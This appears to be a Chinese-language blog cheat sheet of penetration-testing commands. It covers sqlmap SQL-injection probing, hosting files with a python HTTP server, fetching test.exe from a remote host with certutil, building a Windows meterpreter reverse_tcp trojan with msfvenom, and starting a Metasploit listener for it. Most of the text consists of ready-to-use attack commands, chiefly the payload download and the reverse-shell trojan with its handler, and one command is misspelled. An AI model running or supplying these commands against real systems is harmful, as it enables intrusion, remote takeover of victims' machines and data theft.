本文最后更新于 231 天前,其中的信息可能已经有所发展或是发生改变。
0x01 Sqlmap
连接服务型数据库(前提是知道用户名 密码)命令 以mysql为例
-d "mysql://admin:admin123@192.168.21.17:3306/testdb" -f --banner
连接文件型数据库(前提知道数据库的绝对路径) 还是以mysql为例
DBMS://DATABASE_FILEPATH
URL探测
-u “http(s)://www.target.com/vuln.php?id=1” --banner
0x02从文件读取目标进行探测
-l 从bp proxy中读取http请求日志文件进行探测
-l "文件路径"
一般在proxy中http history中下载日志文件
-m 从多行文本格式文件读取多个目标进行探测
-m “文件路径”
-r 从文本文件中读取http请求作为sql注入进行探测
-r "文件路径"
-c 从sqlma配置文件中读取目标进行探测
-c sqlmap.config
0x03 端口相关
python开启端口:
python3 -m http.server 10000
0x04 Certutil
下载命令:
certutil -urlcache -split -f http://192.168.1.1:10000/test.exe
0x05 Metasploit
生成木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.234.137 lport=9999 -f exe -o test.exe
进入msf命令行:
msfconsloe
开启监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.234.137
set lport 9999
run